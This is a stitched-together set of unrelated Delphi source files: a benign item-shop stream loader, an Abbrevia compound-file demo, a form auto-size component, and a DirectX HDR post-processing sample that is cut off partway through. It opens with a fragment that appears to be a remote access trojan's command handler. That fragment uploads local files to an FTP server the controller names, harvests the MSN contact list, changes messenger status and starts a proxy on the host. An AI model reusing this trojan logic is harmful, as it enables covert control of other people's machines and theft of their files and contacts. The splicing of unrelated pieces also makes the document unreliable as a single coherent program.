TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
if (fileexists(Tempstr) = true) and
(PossoMexerNoArquivo(Tempstr) = true) and
(TempStr1 <> 'XXX') then
begin
SetAttributes(TempStr, TempStr1);
_EnviarStream(ClientSocket, FILEMANAGER + '|' + MENSAGENS + '|' + Tempstr + '|' + '492' + '|');
end else
_EnviarStream(ClientSocket, FILEMANAGER + '|' + FILEMANAGERERROR + '|' + Tempstr + '|');
end else
if copy(Comando, 1, pos('|', Comando) - 1) = SENDFTP then
begin
delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1); //address
delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1); //user
delete(Comando, 1, pos('|', Comando));
TempStr2 := copy(Comando, 1, pos('|', Comando) - 1); //pass
delete(Comando, 1, pos('|', Comando));
TempStr3 := copy(Comando, 1, pos('|', Comando) - 1); //port
delete(Comando, 1, pos('|', Comando));
while Comando <> '' do
begin
TempStr4 := copy(Comando, 1, pos('|', Comando) - 1); //filename
delete(Comando, 1, pos('|', Comando));
if (fileexists(TempStr4) = true) and
(PossoMexerNoArquivo(TempStr4) = true)
and (MyGetFileSize(TempStr4) > 0) then
begin
if EnviarArquivoFTP(TempStr,
TempStr1,
TempStr2,
strtoint(TempStr3),
TempStr4) = false then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr4 + '|' + '496' + '|';
_EnviarStream(ClientSocket, Tosend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr4 + '|' + '494' + '|';
_EnviarStream(ClientSocket, Tosend);
end;
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr4 + '|' + '496' + '|';
_EnviarStream(ClientSocket, Tosend);
end;
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MSN_STATUS then
begin
CoInitialize(NIL);
i := GetMSNStatus;
if i = 5 then
begin
tempstr := ' ' + MSNseparador + ' ' + MSNseparador + ' ' + MSNseparador;
ToSend := OPCOESEXTRAS + '|' + MSN_STATUS + '|' + tempstr + inttostr(5) + '|';
CounInitialize;
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
exit;
end;
tempstr := getcurrentmsnsettings;
ToSend := OPCOESEXTRAS + '|' + MSN_STATUS + '|' + tempstr + inttostr(i) + '|';
CounInitialize;
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MSN_CONECTADO then
begin
CoInitialize(NIL);
SetMSNStatus(0);
tempstr := getcurrentmsnsettings;
ToSend := OPCOESEXTRAS + '|' + MSN_STATUS + '|' + tempstr + inttostr(GetMSNStatus) + '|';
CounInitialize;
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MSN_OCUPADO then
begin
CoInitialize(NIL);
SetMSNStatus(1);
tempstr := getcurrentmsnsettings;
ToSend := OPCOESEXTRAS + '|' + MSN_STATUS + '|' + tempstr + inttostr(GetMSNStatus) + '|';
CounInitialize;
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MSN_AUSENTE then
begin
CoInitialize(NIL);
SetMSNStatus(2);
tempstr := getcurrentmsnsettings;
ToSend := OPCOESEXTRAS + '|' + MSN_STATUS + '|' + tempstr + inttostr(GetMSNStatus) + '|';
CounInitialize;
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MSN_INVISIVEL then
begin
CoInitialize(NIL);
SetMSNStatus(3);
tempstr := getcurrentmsnsettings;
ToSend := OPCOESEXTRAS + '|' + MSN_STATUS + '|' + tempstr + inttostr(GetMSNStatus) + '|';
CounInitialize;
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MSN_DESCONECTADO then
begin
CoInitialize(NIL);
SetMSNStatus(4);
tempstr := getcurrentmsnsettings;
ToSend := OPCOESEXTRAS + '|' + MSN_STATUS + '|' + tempstr + inttostr(GetMSNStatus) + '|';
CounInitialize;
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MSN_LISTAR then
begin
CoInitialize(NIL);
i := GetMSNStatus;
if i = 4 then
begin
ToSend := OPCOESEXTRAS + '|' + MSN_STATUS + '|' + inttostr(i) + '|';
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
exit;
end;
tempstr := GetContactList;
ToSEnd := OPCOESEXTRAS + '|' + MSN_LISTAR + '|' + tempstr + '|';
CounInitialize;
_EnviarStream(ClientSocket, ToSend);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = STARTPROXY then
begin
delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1); //porta
try
TempInt := strtoint(TempStr);
except
exit;
end;
if TempInt = 0 then exit;
CloseHandle(ProxyMutex);
sleep(100);
ProxyMutex := CreateMutex(nil, False, pchar('xX_PROXY_SERVER_Xx'));
if StartHttpProxy(TempInt) = false then CloseHandle(ProxyMutex);
while true do sleep(high(integer));
end else
if copy(Comando, 1, pos('|', Comando) - 1) = STOPPROXY then
begin
CloseHandle(ProxyMutex);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = PINGTEST then
begin
Tempstr := PONGTEST + '|' + BufferTest;
//for i := 0 to 99 do
begin
_EnviarStream(ClientSocket, TempStr);
//_processmessages;
end;
end else
end;
end. |
unit InflatablesList_ItemShop_IO_00000001;
{$INCLUDE '.\InflatablesList_defs.inc'}
interface
uses
Classes,
AuxTypes,
InflatablesList_ItemShop_IO_00000000;
type
TILItemShop_IO_00000001 = class(TILItemShop_IO_00000000)
protected
Function GetFlagsWord: UInt32; virtual;
procedure SetFlagsWord(FlagsWord: UInt32); virtual;
procedure InitSaveFunctions(Struct: UInt32); override;
procedure InitLoadFunctions(Struct: UInt32); override;
procedure SaveItemShop_00000001(Stream: TStream); virtual;
procedure LoadItemShop_00000001(Stream: TStream); virtual;
end;
implementation
uses
DateUtils,
BinaryStreaming,
InflatablesList_ItemShop_IO;
Function TILItemShop_IO_00000001.GetFlagsWord: UInt32;
begin
Result := 0;
end;
//------------------------------------------------------------------------------
procedure TILItemShop_IO_00000001.SetFlagsWord(FlagsWord: UInt32);
begin
// nothing to do
end;
//------------------------------------------------------------------------------
procedure TILItemShop_IO_00000001.InitSaveFunctions(Struct: UInt32);
begin
If Struct = IL_ITEMSHOP_STREAMSTRUCTURE_00000001 then
fFNSaveToStream := SaveItemShop_00000001
else
inherited InitSaveFunctions(Struct);
end;
//------------------------------------------------------------------------------
procedure TILItemShop_IO_00000001.InitLoadFunctions(Struct: UInt32);
begin
If Struct = IL_ITEMSHOP_STREAMSTRUCTURE_00000001 then
fFNLoadFromStream := LoadItemShop_00000001
else
inherited InitLoadFunctions(Struct);
end;
//------------------------------------------------------------------------------
procedure TILItemShop_IO_00000001.SaveItemShop_00000001(Stream: TStream);
begin
Stream_WriteUInt32(Stream,GetFlagsWord);
// rest of the structure is unchanged from ver 0
SaveItemShop_00000000(Stream);
Stream_WriteInt64(Stream,DateTimeToUnix(fLastUpdateTime));
end;
//------------------------------------------------------------------------------
procedure TILItemShop_IO_00000001.LoadItemShop_00000001(Stream: TStream);
begin
SetFlagsWord(Stream_ReadUInt32(Stream));
LoadItemShop_00000000(Stream);
fLastUpdateTime := UnixToDateTime(Stream_ReadInt64(Stream));
end;
end.
|
(* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is TurboPower Abbrevia
*
* The Initial Developer of the Original Code is
* TurboPower Software
*
* Portions created by the Initial Developer are Copyright (C) 1997-2002
* the Initial Developer. All Rights Reserved.
*
* Contributor(s):
*
* ***** END LICENSE BLOCK ***** *)
{*********************************************************}
{* ABBREVIA: QUCFMAIN.PAS *}
{*********************************************************}
{* ABBREVIA Example program file *}
{*********************************************************}
{$DEFINE UsingCLX}
unit QuCfMain;
interface
uses
SysUtils, Classes, QGraphics, QForms, AbHexVw, AbQCmpnd,
QDialogs, QMenus, QTypes, QImgList, QExtCtrls, QControls, QComCtrls;
type
TfmCfMain = class(TForm)
StatusBar1: TStatusBar;
tvDirectory: TTreeView;
tvImages: TImageList;
OpenDialog1: TOpenDialog;
mnuMain: TMainMenu;
mnuFile: TMenuItem;
mnuFileNew: TMenuItem;
mnuFileOpen: TMenuItem;
N6: TMenuItem;
mnuFileExit: TMenuItem;
mnuEdit: TMenuItem;
mnuEditAddFile: TMenuItem;
mnuEditAddFolder: TMenuItem;
mnuEditDelete: TMenuItem;
N1: TMenuItem;
mnuEditChangeDir: TMenuItem;
mnuPopupMenu: TPopupMenu;
puAddFile: TMenuItem;
puAddFolder: TMenuItem;
puViewFile: TMenuItem;
puChangeDir: TMenuItem;
puViewCompoundFile: TMenuItem;
puDelete: TMenuItem;
Rename1: TMenuItem;
Defrag1: TMenuItem;
SaveDialog1: TSaveDialog;
OpenDialog2: TOpenDialog;
pnlHexView: TPanel;
procedure mnuFileNewClick(Sender: TObject);
procedure mnuFileOpenClick(Sender: TObject);
procedure mnuFileExitClick(Sender: TObject);
procedure mnuEditAddFileClick(Sender: TObject);
procedure mnuEditAddFolderClick(Sender: TObject);
procedure mnuEditDeleteClick(Sender: TObject);
procedure mnuEditChangeDirClick(Sender: TObject);
procedure puViewFileClick(Sender: TObject);
procedure puViewCompoundFileClick(Sender: TObject);
procedure Rename1Click(Sender: TObject);
procedure Defrag1Click(Sender: TObject);
procedure tvDirectoryClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
fmCfMain: TfmCfMain;
AbCompoundFile1 : TAbCompoundFile;
HexV : THexView;
implementation
uses QuCfNewDg, QuCfGenDg;
{$R *.xfm}
procedure TfmCfMain.mnuFileNewClick(Sender: TObject);
var
AllocSize : Integer;
begin
if SaveDialog1.Execute then begin
if frmCfNewDlg.ShowModal = mrOK then begin
if AbCompoundFile1 <> nil then
AbCompoundFile1.Free;
AllocSize := StrToInt(frmCfNewDlg.lbAllocSize.
Items[frmCfNewDlg.lbAllocSize.ItemIndex]);
AbCompoundFile1 := TAbCompoundFile.Create(SaveDialog1.FileName,
frmCfNewDlg.edtVolLbl.Text, AllocSize);
Caption := 'Abbrevia 3 Compound File Example (' + SaveDialog1.FileName + ')';
HexV := THexView.Create(Self);
HexV.BlockSize := AllocSize;
HexV.Parent := pnlHexView;
HexV.Align := alClient;
HexV.Stream := AbCompoundFile1.Stream;
AbCompoundFile1.PopulateTreeView(tvDirectory);
end;
end;
end;
procedure TfmCfMain.mnuFileOpenClick(Sender: TObject);
begin
{OpenExisting compound file}
if OpenDialog1.Execute then begin
if AbCompoundFile1 <> nil then
AbCompoundFile1.Free;
AbCompoundFile1 := TAbCompoundFile.Create('', '', 512);
AbCompoundFile1.Open(OpenDialog1.FileName);
Caption := 'Abbrevia 3 Compound File Example (' + OpenDialog1.FileName + ')';
HexV := THexView.Create(Self);
HexV.BlockSize := AbCompoundFile1.AllocationSize;
HexV.Parent := pnlHexView;
HexV.Align := alClient;
HexV.Stream := AbCompoundFile1.Stream;
AbCompoundFile1.PopulateTreeView(tvDirectory);
end;
end;
procedure TfmCfMain.mnuFileExitClick(Sender: TObject);
begin
Application.Terminate;
end;
procedure TfmCfMain.mnuEditAddFileClick(Sender: TObject);
var
i : Integer;
Strm : TFileStream;
begin
if OpenDialog2.Execute then begin
Strm := TFileStream.Create(OpenDialog2.FileName, fmOpenRead
or fmShareDenyNone);
AbCompoundFile1.AddFile(OpenDialog2.FileName, Strm, Strm.Size);
Strm.Free;
AbCompoundFile1.PopulateTreeView(tvDirectory);
for i := 0 to tvDirectory.Items.Count - 1 do
tvDirectory.Items.Item[i].Expand(True);
HexV.Stream := AbCompoundFile1.Stream;
end;
end;
procedure TfmCfMain.mnuEditAddFolderClick(Sender: TObject);
var
i : Integer;
begin
if frmCfGenDlg.ShowModal = mrOK then begin
AbCompoundFile1.AddFolder(frmCfGenDlg.Edit1.Text);
AbCompoundFile1.PopulateTreeView(tvDirectory);
for i := 0 to tvDirectory.Items.Count - 1 do
tvDirectory.Items.Item[i].Expand(True);
end;
HexV.Stream := AbCompoundFile1.Stream;
end;
procedure TfmCfMain.mnuEditDeleteClick(Sender: TObject);
var
i : Integer;
begin
if tvDirectory.Selected.ImageIndex = 0 then
AbCompoundFile1.DeleteFolder(tvDirectory.Selected.Text)
else
AbCompoundFile1.DeleteFile(tvDirectory.Selected.Text);
HexV.Stream := AbCompoundFile1.Stream;
AbCompoundFile1.PopulateTreeView(tvDirectory);
for i := 0 to tvDirectory.Items.Count - 1 do
tvDirectory.Items.Item[i].Expand(True);
end;
procedure TfmCfMain.mnuEditChangeDirClick(Sender: TObject);
begin
frmCfGenDlg.Caption := AbCompoundFile1.CurrentDirectory;
if frmCfGenDlg.ShowModal = mrOK then begin
AbCompoundFile1.CurrentDirectory := frmCfGenDlg.Edit1.Text;
StatusBar1.SimpleText := ' Current Directory: ' + AbCompoundFile1.CurrentDirectory;
end;
end;
procedure TfmCfMain.puViewFileClick(Sender: TObject);
var
Strm : TStream;
begin
Strm := TMemoryStream.Create;
AbCompoundFile1.OpenFile(tvDirectory.Selected.Text, Strm);
Hexv.SetStream(Strm);
Strm.Free;
end;
procedure TfmCfMain.puViewCompoundFileClick(Sender: TObject);
begin
HexV.Stream := AbCompoundFile1.Stream;
end;
procedure TfmCfMain.Rename1Click(Sender: TObject);
begin
frmCfGenDlg.Caption := 'Rename';
frmCfGenDlg.Label1.Caption := 'New Name';
if frmCfGenDlg.ShowModal = mrOK then begin
if tvDirectory.Selected.ImageIndex = 0 then
AbCompoundFile1.RenameFolder(tvDirectory.Selected.Text, frmCfGenDlg.Edit1.Text)
else
AbCompoundFile1.RenameFile(tvDirectory.Selected.Text, frmCfGenDlg.Edit1.Text);
end;
frmCfGenDlg.Caption := 'Change Directory';
frmCfGenDlg.Label1.Caption := 'New Directory';
end;
procedure TfmCfMain.Defrag1Click(Sender: TObject);
var
i : Integer;
begin
AbCompoundFile1.Defrag;
HexV.Stream := AbCompoundFile1.Stream;
AbCompoundFile1.PopulateTreeView(tvDirectory);
for i := 0 to tvDirectory.Items.Count - 1 do
tvDirectory.Items.Item[i].Expand(True);
end;
procedure TfmCfMain.tvDirectoryClick(Sender: TObject);
begin
if (tvDirectory.Selected.ImageIndex = 0) then begin
AbCompoundFile1.CurrentDirectory := tvDirectory.Selected.Text;
StatusBar1.SimpleText := ' Current Directory: ' + AbCompoundFile1.CurrentDirectory;
end;
end;
end.
|
unit AutoSize;
interface
uses
Windows, Messages, SysUtils, Forms, Classes, Controls;
type
TDuplicateError = class(Exception);
TAutoSize = class(TControl)
private
FormHandle: HWnd;
NewWndProc: TFarProc;
PrevWndProc: TFarProc;
CheckAfterShow: Boolean;
procedure WndPro(var Msg: TMessage);
procedure WMWindowPosChanged(var Msg:
TWMWindowPosChanged); message WM_WINDOWPOSCHANGED;
protected
procedure AdjustClientArea; virtual;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;
procedure Register;
implementation
constructor TAutoSize.Create(AOwner: TComponent);
var
I: Word;
AutoSizeCount: Byte;
begin
AutoSizeCount:=0;
NewWndProc:=nil;
PrevWndProc:=nil;
inherited Create(AOwner);
with (AOwner as TForm) do begin
if (csDesigning in ComponentState) then begin
for I:=0 to ComponentCount-1 do
if Components[I] is TAutoSize then
Inc(AutoSizeCount);
if AutoSizeCount>1 then
raise TDuplicateError.Create('A TAutoSize
component already exists');
end;
FormHandle:=Handle;
NewWndProc:=MakeObjectInstance(WndPro);
PrevWndProc:=Pointer(SetWindowLong(FormHandle,
GWL_WNDPROC, LongInt(NewWndProc)));
end;
end;
destructor TAutoSize.Destroy;
begin
if Assigned(PrevWndProc) then begin
SetWindowLong(FormHandle, GWL_WNDPROC,
Longint(PrevWndProc));
PrevWndProc:=nil;
end;
if NewWndProc<>nil then
FreeObjectInstance(NewWndProc);
inherited Destroy;
end;
procedure TAutoSize.WndPro(var Msg: TMessage);
begin
with Msg do begin
case Msg of
WM_SIZE:
if (csDesigning in ComponentState) then
begin
Left:=LoWord(lParam)-2;
Top:=HiWord(lParam)-2;
end;
WM_SHOWWINDOW:
if not(csDesigning in ComponentState) then
if Boolean(wParam) then
if not CheckAfterShow then
begin
AdjustClientArea;
CheckAfterShow:=True;
end;
end;
Result:=CallWindowProc(PrevWndProc, FormHandle,
Msg, wParam, lParam);
end;
end;
procedure TAutoSize.WMWindowPosChanged(var Msg:
TWMWindowPosChanged);
begin
if (csDesigning in ComponentState) then begin
Left:=TForm(Owner).ClientWidth-2;
Top:=TForm(Owner).ClientHeight-2;
Width:=2;
Height:=2;
end else
if not CheckAfterShow then
AdjustClientArea;
Msg.Result:=0;
end;
procedure TAutoSize.AdjustClientArea;
begin
TForm(Owner).ClientWidth:=Left+Width;
TForm(Owner).ClientHeight:=Top+Height;
end;
procedure Register;
begin
RegisterComponents('Idms', [TAutoSize]);
end;
end.
|
(*----------------------------------------------------------------------------*
* Direct3D sample from DirectX 9.0 SDK December 2006 *
* Delphi adaptation by Alexey Barkovoy (e-mail: directx@clootie.ru) *
* *
* Supported compilers: Delphi 5,6,7,9; FreePascal 2.0 *
* *
* Latest version can be downloaded from: *
* http://www.clootie.ru *
* http://sourceforge.net/projects/delphi-dx9sdk *
*----------------------------------------------------------------------------*
* $Id: PostProcess.pas,v 1.5 2007/02/05 22:21:08 clootie Exp $
*----------------------------------------------------------------------------*)
//======================================================================
//
// HIGH DYNAMIC RANGE RENDERING DEMONSTRATION
// Written by Jack Hoxley, November 2005
//
//======================================================================
{$I DirectX.inc}
unit PostProcess;
interface
uses
Windows, Direct3D9, D3DX9;
// All post processing functionality is wrapped up, and consequently
// accessed via, the following namespace:
// namespace PostProcess
// This function creates the necessary resources for the
// functionality of this module.
function CreateResources(const pDevice: IDirect3DDevice9; const pDisplayDesc: TD3DSurfaceDesc): HRESULT;
// This provides the opposite functionality to the above
// 'CreateResources' - making sure that any allocated resources
// are correctly released.
function DestroyResources: HRESULT;
// The core function for this method - takes the HDR data from
// 'HDRScene' and applies the necessary steps to produce the
// post-processed input into the final image composition.
function PerformPostProcessing(const pDevice: IDirect3DDevice9): HRESULT;
// The final image composition requires the results of this modules
// work as an input texture. This function allows other modules to
// access the texture and use it as appropriate.
function GetTexture(out pTexture: IDirect3DTexture9): HRESULT;
// The following 4 pairs of functions allow the respective parameters
// to be exposed via the GUI. Because the actual GUI events are contained
// entirely in 'HDRDemo.cpp' these accessors are required:
function GetBrightPassThreshold: Single;
procedure SetBrightPassThreshold(const threshold: Single);
function GetGaussianMultiplier: Single;
procedure SetGaussianMultiplier(const multiplier: Single);
function GetGaussianMean: Single;
procedure SetGaussianMean(const mean: Single);
function GetGaussianStandardDeviation: Single;
procedure SetGaussianStandardDeviation(const sd: Single);
// This function takes all the intermediary steps created/used by
// the 'PerformPostProcessing' function (above) and displays them
// to the GUI. Also annotates the steps.
function DisplaySteps(const pDevice: IDirect3DDevice9; const pFont: ID3DXFont;
const pTextSprite: ID3DXSprite; const pArrowTex: IDirect3DTexture9 ): HRESULT;
// A simple utility function that makes a guesstimate as to
// how much VRAM is being used by this modules key resources.
function CalculateResourceUsage: DWORD;
implementation
uses
Math, DXUTcore, DXUTmisc, StrSafe,
HDREnumeration, HDRScene;
//--------------------------------------------------------------------------------------
// Data Structure Definitions
//--------------------------------------------------------------------------------------
type
TLVertex = record
p: TD3DXVector4;
t: TD3DXVector2;
end;
const FVF_TLVERTEX = D3DFVF_XYZRHW or D3DFVF_TEX1;
//--------------------------------------------------------------------------------------
// Namespace-level variables
//--------------------------------------------------------------------------------------
var
g_pBrightPassTex: IDirect3DTexture9 = nil; // The results of performing a bright pass on the original HDR imagery
g_pDownSampledTex: IDirect3DTexture9 = nil; // The scaled down version of the bright pass results
g_pBloomHorizontal: IDirect3DTexture9 = nil; // The horizontally blurred version of the downsampled texture
g_pBloomVertical: IDirect3DTexture9 = nil; // The vertically blurred version of the horizontal blur
g_fmtHDR: TD3DFormat = D3DFMT_UNKNOWN; // What HDR (128 or 64) format is being used
g_pBrightPassPS: IDirect3DPixelShader9 = nil; // Represents the bright pass processing
g_pBrightPassConstants: ID3DXConstantTable = nil;
g_pDownSamplePS: IDirect3DPixelShader9 = nil; // Represents the downsampling processing
g_pDownSampleConstants: ID3DXConstantTable = nil;
g_pHBloomPS: IDirect3DPixelShader9 = nil; // Performs the first stage of the bloom rendering
g_pHBloomConstants: ID3DXConstantTable = nil;
g_pVBloomPS: IDirect3DPixelShader9 = nil; // Performs the second stage of the bloom rendering
g_pVBloomConstants: ID3DXConstantTable = nil;
g_BrightThreshold: Single = 0.8; // A configurable parameter into the pixel shader
g_GaussMultiplier: Single = 0.4; // Default multiplier
g_GaussMean: Single = 0.0; // Default mean for gaussian distribution
g_GaussStdDev: Single = 0.8; // Default standard deviation for gaussian distribution
//--------------------------------------------------------------------------------------
// Function Prototypes
//--------------------------------------------------------------------------------------
function RenderToTexture(const pDev: IDirect3DDevice9): HRESULT; forward;
function ComputeGaussianValue(x: Single; mean: Single; std_deviation: Single): Single; forward;
//--------------------------------------------------------------------------------------
// CreateResources( )
//
// DESC:
// This function creates all the necessary resources to produce the post-
// processing effect for the HDR input. When this function completes successfully
// rendering can commence. A call to 'DestroyResources()' should be made when
// the application closes.
//
// PARAMS:
// pDevice : The current device that resources should be created with/from
// pDisplayDesc : Describes the back-buffer currently in use, can be useful when
// creating GUI based resources.
//
// NOTES:
// n/a
//--------------------------------------------------------------------------------------
function CreateResources(const pDevice: IDirect3DDevice9; const pDisplayDesc: TD3DSurfaceDesc): HRESULT;
var
pCode: ID3DXBuffer;
str: array[0..MAX_PATH-1] of WideChar;
begin
// [ 0 ] GATHER NECESSARY INFORMATION
//-----------------------------------
Result := V(HDREnumeration.FindBestHDRFormat(PostProcess.g_fmtHDR));
if FAILED(Result) then
begin
// High Dynamic Range Rendering is not supported on this device!
OutputDebugString('PostProcess::CreateResources() - Current hardware does not allow HDR rendering!'#10);
Exit;
end;
// [ 1 ] CREATE BRIGHT PASS TEXTURE
//---------------------------------
// Bright pass texture is 1/2 the size of the original HDR render target.
// Part of the pixel shader performs a 2x2 downsampling. The downsampling
// is intended to reduce the number of pixels that need to be worked on -
// in general, HDR pipelines tend to be fill-rate heavy.
Result := V(pDevice.CreateTexture(
pDisplayDesc.Width div 2, pDisplayDesc.Height div 2,
1, D3DUSAGE_RENDERTARGET, PostProcess.g_fmtHDR,
D3DPOOL_DEFAULT, PostProcess.g_pBrightPassTex, nil));
if FAILED(Result) then
begin
// We couldn't create the texture - lots of possible reasons for this...
OutputDebugString('PostProcess::CreateResources() - Could not create bright-pass render target. Examine D3D Debug Output for details.'#10);
Exit;
end;
// [ 2 ] CREATE BRIGHT PASS PIXEL SHADER
//--------------------------------------
Result:= DXUTFindDXSDKMediaFile(str, MAX_PATH, 'Shader Code\PostProcessing.psh');
if V_Failed(Result) then Exit;
Result := V(D3DXCompileShaderFromFileW(
str,
nil, nil,
'BrightPass',
'ps_2_0',
0,
@pCode,
nil,
@PostProcess.g_pBrightPassConstants
));
if FAILED(Result) then
begin
// Couldn't compile the shader, use the 'compile_shaders.bat' script
// in the 'Shader Code' folder to get a proper compile breakdown.
OutputDebugString('PostProcess::CreateResources() - Compiling of ''BrightPass'' from ''PostProcessing.psh'' failed!'#10);
Exit;
end;
Result := V(pDevice.CreatePixelShader(PDWORD(pCode.GetBufferPointer), PostProcess.g_pBrightPassPS));
if FAILED(Result) then
begin
// Couldn't turn the compiled shader into an actual, usable, pixel shader!
OutputDebugString('PostProcess::CreateResources() - Could not create a pixel shader object for ''BrightPass''.'#10);
pCode := nil;
Exit;
end;
pCode := nil;
// [ 3 ] CREATE DOWNSAMPLED TEXTURE
//---------------------------------
// This render target is 1/8th the size of the original HDR image (or, more
// importantly, 1/4 the size of the bright-pass). The downsampling pixel
// shader performs a 4x4 downsample in order to reduce the number of pixels
// that are sent to the horizontal/vertical blurring stages.
Result := V(pDevice.CreateTexture(
pDisplayDesc.Width div 8, pDisplayDesc.Height div 8,
1, D3DUSAGE_RENDERTARGET, PostProcess.g_fmtHDR,
D3DPOOL_DEFAULT, PostProcess.g_pDownSampledTex, nil));
if FAILED(Result) then
begin
// We couldn't create the texture - lots of possible reasons for this...
OutputDebugString('PostProcess::CreateResources() - Could not create downsampling render target. Examine D3D Debug Output for details.'#10);
Exit;
end;
// [ 3 ] CREATE DOWNSAMPLING PIXEL SHADER
//---------------------------------------
Result := DXUTFindDXSDKMediaFile(str, MAX_PATH, 'Shader Code\PostProcessing.psh');
if V_Failed(Result) then Exit;
Result := V(D3DXCompileShaderFromFileW(
str,
nil, nil,
'DownSample',
'ps_2_0',
0,
@pCode,
nil,
@PostProcess.g_pDownSampleConstants
));
if FAILED(Result) then
begin
// Couldn't compile the shader, use the 'compile_shaders.bat' script
// in the 'Shader Code' folder to get a proper compile breakdown.
OutputDebugString('PostProcess::CreateResources() - Compiling of ''DownSample'' from ''PostProcessing.psh'' failed!'#10);
Exit;
end;
Result := V(pDevice.CreatePixelShader(PDWORD(pCode.GetBufferPointer), PostProcess.g_pDownSamplePS));
if FAILED(Result) then
begin
// Couldn't turn the compiled shader into an actual, usable, pixel shader!
OutputDebugString('PostProcess::CreateResources() - Could not create a pixel shader object for ''DownSample''.'#10);
pCode := nil;
Exit;
end;
pCode := nil;
// [ 4 ] CREATE HORIZONTAL BLOOM TEXTURE
//--------------------------------------
// The horizontal bloom texture is the same dimension as the down sample
// render target. Combining a 4x4 downsample operation as well as a
// horizontal blur leads to a prohibitively high number of texture reads.
Result := V(pDevice.CreateTexture(
pDisplayDesc.Width div 8, pDisplayDesc.Height div 8,
1, D3DUSAGE_RENDERTARGET, PostProcess.g_fmtHDR,
D3DPOOL_DEFAULT, PostProcess.g_pBloomHorizontal, nil));
if FAILED(Result) then
begin
// We couldn't create the texture - lots of possible reasons for this...
OutputDebugString('PostProcess::CreateResources() - Could not create horizontal bloom render target. Examine D3D Debug Output for details.'#10);
Exit;
end;
// [ 5 ] CREATE HORIZONTAL BLOOM PIXEL SHADER
//-------------------------------------------
Result:= DXUTFindDXSDKMediaFile(str, MAX_PATH, 'Shader Code\PostProcessing.psh');
if V_Failed(Result) then Exit;
Result := V(D3DXCompileShaderFromFileW(
str,
nil, nil,
'HorizontalBlur',
'ps_2_0',
0,
@pCode,
nil,
@PostProcess.g_pHBloomConstants
));
if FAILED(Result) then
begin
// Couldn't compile the shader, use the 'compile_shaders.bat' script
// in the 'Shader Code' folder to get a proper compile breakdown.
OutputDebugString('PostProcess::CreateResources() - Compiling of ''HorizontalBlur'' from ''PostProcessing.psh'' failed!'#10);
Exit;
end;
Result := V(pDevice.CreatePixelShader(PDWORD(pCode.GetBufferPointer), PostProcess.g_pHBloomPS));
if FAILED(Result) then
begin
// Couldn't turn the compiled shader into an actual, usable, pixel shader!
OutputDebugString('PostProcess::CreateResources() - Could not create a pixel shader object for ''HorizontalBlur''.'#10);
pCode := nil;
Exit;
end;
pCode := nil;
// [ 6 ] CREATE VERTICAL BLOOM TEXTURE
//------------------------------------
// The vertical blur texture must be the same size as the horizontal blur texture
// so as to get a correct 2D distribution pattern.
Result := V(pDevice.CreateTexture(
pDisplayDesc.Width div 8, pDisplayDesc.Height div 8,
1, D3DUSAGE_RENDERTARGET, PostProcess.g_fmtHDR,
D3DPOOL_DEFAULT, PostProcess.g_pBloomVertical, nil));
if FAILED(Result) then
begin
// We couldn't create the texture - lots of possible reasons for this...
OutputDebugString('PostProcess::CreateResources() - Could not create vertical bloom render target. Examine D3D Debug Output for details.'#10);
Exit;
end;
// [ 7 ] CREATE VERTICAL BLOOM PIXEL SHADER
//-----------------------------------------
Result:= DXUTFindDXSDKMediaFile(str, MAX_PATH, 'Shader Code\PostProcessing.psh');
if V_Failed(Result) then Exit;
Result := V(D3DXCompileShaderFromFileW(
str,
nil, nil,
'VerticalBlur',
'ps_2_0',
0,
@pCode,
nil,
@PostProcess.g_pVBloomConstants
));
if FAILED(Result) then
begin
// Couldn't compile the shader, use the 'compile_shaders.bat' script
// in the 'Shader Code' folder to get a proper compile breakdown.
OutputDebugString('PostProcess::CreateResources() - Compiling of ''VerticalBlur'' from ''PostProcessing.psh'' failed!'#10);
Exit;
end;
Result := V(pDevice.CreatePixelShader(PDWORD(pCode.GetBufferPointer), PostProcess.g_pVBloomPS));
if FAILED(Result) then
begin
// Couldn't turn the compiled shader into an actual, usable, pixel shader!
OutputDebugString('PostProcess::CreateResources() - Could not create a pixel shader object for ''VerticalBlur''.'#10);
pCode := nil;
Exit;
end;
pCode := nil;
end;
//--------------------------------------------------------------------------------------
// DestroyResources( )
//
// DESC:
// Makes sure that the resources acquired in CreateResources() are cleanly
// destroyed to avoid any errors and/or memory leaks.
//
//--------------------------------------------------------------------------------------
function DestroyResources: HRESULT;
begin
SAFE_RELEASE(g_pBrightPassTex);
SAFE_RELEASE(g_pDownSampledTex);
SAFE_RELEASE(g_pBloomHorizontal);
